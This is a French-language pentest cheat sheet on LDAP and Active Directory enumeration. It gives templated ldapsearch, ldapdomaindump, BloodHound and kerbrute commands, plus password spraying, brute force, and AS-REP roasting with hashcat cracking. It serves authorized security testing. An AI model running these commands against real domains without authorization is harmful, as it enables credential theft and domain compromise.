ldapactive-directoryenumeration
MDstable
NoteSnippetChecklistPlaybook
Enumération LDAP / Active Directory
Enumération LDAP et Active Directory : ldapsearch, ldapdomaindump, BloodHound, Kerbrute
snippetintermediate 2026-05-10 4 min read
ldapactive-directoryenumerationpentestbloodhoundkerberos
Objectifs
Cartographier la structure Active Directory : utilisateurs, groupes, GPO, ACL, et chemins d'attaque.
💡 Tip — BloodHound est l'outil le plus puissant pour visualiser les chemins d'élévation dans un AD. Prioriser son utilisation dès que des credentials sont disponibles.
Outils
| Outil | Usage |
|---|---|
| ldapsearch | Requêtes LDAP manuelles |
| ldapdomaindump | Dump complet de l'AD en JSON/HTML |
| bloodhound-python | Collecte BloodHound (ingestor Python) |
| kerbrute | Enumération utilisateurs via Kerberos |
| GetADUsers.py | Liste utilisateurs AD (impacket) |
Ldapsearch — Requêtes de base
bash
Variables
{{TARGET}}
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
{{OUTPUT_DIR}}
# Bind anonyme — récupérer la base DNldapsearch -x -H ldap//{{TARGET}} -s base namingcontexts# Enumération utilisateurs (bind anonyme)ldapsearch -x -H ldap//{{TARGET}} -b "DC={{DOMAIN}},DC=local" "(objectClass=person)" cn mail# Avec authentificationldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}-b "DC={{DOMAIN}},DC=local" "(objectClass=user)"cn sAMAccountName mail memberOf > {{OUTPUT_DIR}}/users.txt# Groupesldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}-b "DC={{DOMAIN}},DC=local" "(objectClass=group)" cn member > {{OUTPUT_DIR}}/groups.txt# Admins du domaineldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}-b "DC={{DOMAIN}},DC=local""(&(objectClass=user)(memberOf=CN=Domain Admins,CN=Users,DC={{DOMAIN}},DC=local))"# SPN (Kerberoasting)ldapsearch -x -H ldap//{{TARGET}} -D "{{USER}}@{{DOMAIN}}" -w {{PASSWORD}}-b "DC={{DOMAIN}},DC=local""(&(objectClass=user)(servicePrincipalName=*))" cn servicePrincipalName
Ldapdomaindump — Dump complet
bash
Variables
{{DOMAIN}}
{{USER}}
{{PASSWORD}}
{{TARGET}}
{{OUTPUT_DIR}}
# Dump complet de l'ADldapdomaindump -u {{DOMAIN}}{{USER}} -p {{PASSWORD}} {{TARGET}} -o {{OUTPUT_DIR}}/ldd# Sans authentification (bind anonyme)ldapdomaindump {{TARGET}} -o {{OUTPUT_DIR}}/ldd-anon# Résultats dans OUTPUT_DIR/ldd/ :# - domain_users.json / .html / .grep# - domain_groups.json# - domain_computers.json# - domain_policy.json
BloodHound — Cartographie des chemins d'attaque
bash
Variables
{{USER}}
{{PASSWORD}}
{{DOMAIN}}
{{TARGET}}
{{OUTPUT_DIR}}
# Collecte avec bloodhound-python (depuis attaquant)bloodhound-python -u {{USER}} -p {{PASSWORD}} -d {{DOMAIN}} -ns {{TARGET}}-c All --zip -o {{OUTPUT_DIR}}/bloodhound/# Collecte avec SharpHound (depuis une machine Windows du domaine)# .\SharpHound.exe -c All --outputdirectory C:\temp\bh# Lancer BloodHound (local)# sudo neo4j console &# bloodhound &# Importer le .zip dans l'interface# Requêtes BloodHound utiles (dans l'interface) :# - "Find Shortest Paths to Domain Admins"# - "Find Principals with DCSync Rights"# - "List all Kerberoastable Accounts"# - "Find AS-REP Roastable Users"
Kerbrute — Enumération via Kerberos
bash
Variables
{{TARGET}}
{{DOMAIN}}
{{OUTPUT_DIR}}
{{USER}}
# Enumération d'utilisateurs (pas de credentials requis)kerbrute userenum --dc {{TARGET}} -d {{DOMAIN}} /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt -o {{OUTPUT_DIR}}/valid-users.txt# Password spraykerbrute passwordspray --dc {{TARGET}} -d {{DOMAIN}} {{OUTPUT_DIR}}/valid-users.txt 'Password2024!'# Bruteforce un comptekerbrute bruteuser --dc {{TARGET}} -d {{DOMAIN}} /usr/share/wordlists/rockyou.txt {{USER}}
AS-REP Roasting
bash
Variables
{{DOMAIN}}
{{TARGET}}
{{OUTPUT_DIR}}
# Comptes sans pré-auth Kerberos (GetNPUsers.py)GetNPUserspy {{DOMAIN}} -dc-ip {{TARGET}} -no-pass -usersfile {{OUTPUT_DIR}}/valid-users.txt-format hashcat -outputfile {{OUTPUT_DIR}}/asrep-hashes.txt# Cracker les hasheshashcat -m 18200 {{OUTPUT_DIR}}/asrep-hashes.txt /usr/share/wordlists/rockyou.txt
Checklist LDAP / AD0/10
Pièges fréquents
- LDAP signing : requis sur Server 2022+ — utiliser LDAPS (636) si LDAP (389) échoue
- Bind anonyme désactivé : standard sur AD modernes, il faut des credentials
- Mauvaise syntaxe DN : le domaine
corp.local=DC=corp,DC=local - BloodHound sans neo4j : démarrer neo4j AVANT bloodhound
- Kerbrute détecté : génère des logs d'erreurs Kerberos — timing à adapter
OPS·BRAIN v1.075 notes · Securitylocal